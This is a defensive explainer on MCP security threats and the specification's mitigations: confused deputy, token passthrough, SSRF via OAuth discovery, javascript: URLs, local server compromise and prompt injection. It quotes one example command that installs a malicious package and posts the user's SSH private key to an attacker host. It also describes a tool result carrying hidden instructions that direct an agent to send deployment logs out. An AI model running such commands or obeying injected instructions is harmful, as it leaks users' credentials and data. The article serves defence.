MCP Security
Confused deputy, token passthrough, SSRF through OAuth discovery, and the javascript: URL that becomes remote code execution. The specification names these attacks and states the mitigations — most are not prompt injection.
MCP security discussions usually collapse into prompt injection is a problem,
which is true, unhelpful, and not actually specific to MCP. The specification maintains its own security document listing named attacks with normative mitigations, and most of them are not about prompt injection at all. They are about OAuth, process execution, and one memorable case where a URL string gets you remote code execution.
This is that list, with what it means for you depending on whether you are connecting servers, writing one, or building a client.
Confused deputy
The one the spec spends the most words on, and the one most likely to bite a server author who did something reasonable.
Setup: your MCP server proxies a third-party API. That API's authorization server does not support dynamic client registration, so you use one static client ID for every request you make to it. Meanwhile you let MCP clients register dynamically, each getting their own ID.
A user authenticates through you normally. The third-party authorization server sets a consent cookie against your static client ID. Later, an attacker dynamically registers a client with a redirect_uri pointing at their own server and sends the user a crafted link. The user's browser still has the consent cookie. The consent screen is skipped. The authorization code lands on the attacker's server, and they exchange it for a token that acts as the user.
The user clicked one link and approved nothing.
The mitigation is per-client consent that runs before you forward anything to the third party. Proxy servers MUST keep a registry of approved client_id values per user and check it first. Your own consent page must name the requesting client, show the scopes, show the registered redirect URI, carry CSRF protection, and refuse to be iframed.
One detail is easy to get backwards and completely defeats the fix: the cookie or session holding your OAuth state value MUST NOT be set until after the user approves your consent screen. Set it before, and an attacker crafts a request that walks straight past the screen you just built.
Redirect URIs get exact string matching. No wildcards, no patterns.
Token passthrough
Short, absolute, and violated constantly by servers built quickly.
MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server.
Two failures hide here. Audience validation: if you do not check that a token names you as its audience, you will accept tokens minted for other services. Passthrough: if you then forward that token downstream unmodified, the downstream API trusts it as though you had validated it.
The consequences the spec lists are worth reading in full, but the one that persuades people is the audit trail. When clients pass upstream tokens through you, your logs cannot distinguish between clients, and the downstream service's logs show a request that appears to come from somewhere else entirely. After an incident you will not be able to reconstruct who did what.
Validate the audience. Get your own token for downstream calls.
SSRF through OAuth discovery
An attack on clients, and a clever one.
During OAuth discovery, a client fetches URLs the server chose: the resource_metadata URL from the WWW-Authenticate header, the authorization_servers URLs from the metadata document, then the endpoints inside the authorization server's metadata. A malicious server populates those with internal addresses.
http://169.254.169.254/ is the cloud metadata endpoint on AWS, GCP and Azure. It hands out IAM credentials. http://localhost:6379/ is Redis. http://192.168.1.1/admin is a router. The client fetches them, and details leak back through error messages.
Clients MUST consider SSRF risk here. Require HTTPS except for loopback in development, block private and link-local ranges, apply the same validation to redirect targets, and consider an egress proxy for server-side deployments. The spec adds a warning worth repeating: do not hand-roll the IP validation. Attackers use octal, hex and IPv4-mapped IPv6 encodings that naive parsers miss.
Watch for the TOCTOU variant too — a domain that resolves to a safe address when you validate it and an internal one when you fetch it.
The javascript: authorization URL
My favourite, because it is so small.
A malicious server hands your client an authorization URL. Your client passes it to window.open(). If the scheme is javascript:, the browser executes it, and the attacker is now running code inside your client. If your client instead opens URLs by shelling out to cmd.exe or a shell script, a crafted URL becomes command injection and the attacker is running code on the host.
Clients MUST allow only http:// and https:// — and http:// only for loopback in development — and MUST reject javascript:, data:, file: and vbscript:. Allowlist, not blocklist. Clients MUST NOT shell out to open URLs.
The escalation path is the reason this ranks so highly. XSS in a client that talks to a local proxy which can spawn stdio servers becomes arbitrary code execution: steal the proxy's auth token from the compromised page, ask the proxy to spawn a server,
and the command is whatever you like.
Local server compromise
The plainest risk, and the one users are most exposed to.
A local MCP server is a binary running on your machine with your privileges. Three ways that goes wrong: a malicious startup command in a config you pasted, a malicious payload inside an otherwise plausible server, or an insecure local server left listening that a web page reaches via DNS rebinding.
The spec's example commands are not subtle:
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
If a client offers one-click install, it MUST show the exact command untruncated, identify it as dangerous, and require explicit approval. Beyond that it SHOULD flag sudo, rm -rf, and access to home directories and SSH keys, and sandbox the process.
For server authors: prefer stdio, precisely because it limits access to the launching client. If you must use HTTP locally, require a token or use a Unix domain socket — a bare localhost port is open to every process on the machine. See MCP transports.
For users: read the command. That is the whole defence, and it takes five seconds.
State handle hijacking
MCP is stateless as of 2026-07-28, so servers needing state across requests mint an explicit handle and take it back as an ordinary tool argument. Which means anyone holding the handle can present it.
MCP servers MUST NOT treat possession of a state handle as authentication.
Use non-deterministic handles from a secure random source, expire them, and bind them server-side to the authenticated user — key storage as <user_id>:<handle> where the user ID comes from the verified token, never from the client. Then a guessed handle is worthless.
This replaces the session hijacking guidance that applied to 2025-11-25 and earlier, when sessions still existed at the protocol level.
Scope minimisation
Not an exploit, an amplifier. A token carrying files:*, db:* and admin:* because your server published every scope it supports and the client requested them all is a token whose theft is catastrophic and whose revocation breaks every workflow at once.
Start with a minimal set — discovery and low-risk reads. Escalate through targeted WWW-Authenticate challenges naming only what the attempted operation needs. Never ship *, all or full-access.
There is a real UX tension the spec acknowledges: challenge one scope at a time and you force a round trip per operation. Emit all the scopes the current operation needs in a single challenge, then stop.
And yes, prompt injection
Everything above is MCP-specific. This one is not, and it is the reason the rest matters.
An MCP tool returns text. That text goes into a model's context. If it came from a web page, an email, an issue tracker or another tool's output, it may contain instructions aimed at the model reading it — and models do not reliably separate content from instruction. This is architectural, not a defect, and there is no patch: see prompt injection.
MCP raises the stakes in a specific way. Connect a server that reads untrusted content and another that can send data outward, and you have assembled the pieces yourself. The reference fetch server's own README says it plainly — it can reach local and internal IP addresses, which makes it a route into your network from a prompt.
Vercel's MCP documentation gives the concrete version: an instruction hidden in a tool result telling the agent to copy private deployment logs to an attacker's host. Their advice is the right advice — enable human confirmation, and review what each connected tool can reach.
What to actually do
Connecting servers? Read the command before pasting it. Prefer OAuth over pasted keys. Scope credentials narrowly. Connect what you need now.
Writing a server? Validate the token audience and never pass tokens through. Implement per-client consent if you proxy. Bind state handles to users. Publish minimal scopes.
Building a client? Validate URL schemes and never shell out to open them. Guard OAuth discovery against SSRF. Show install commands in full and get consent.
Then read guardrails and safety for AI agents, because a secured MCP server connected to an agent with no iteration cap and no approval step has moved the problem rather than solved it.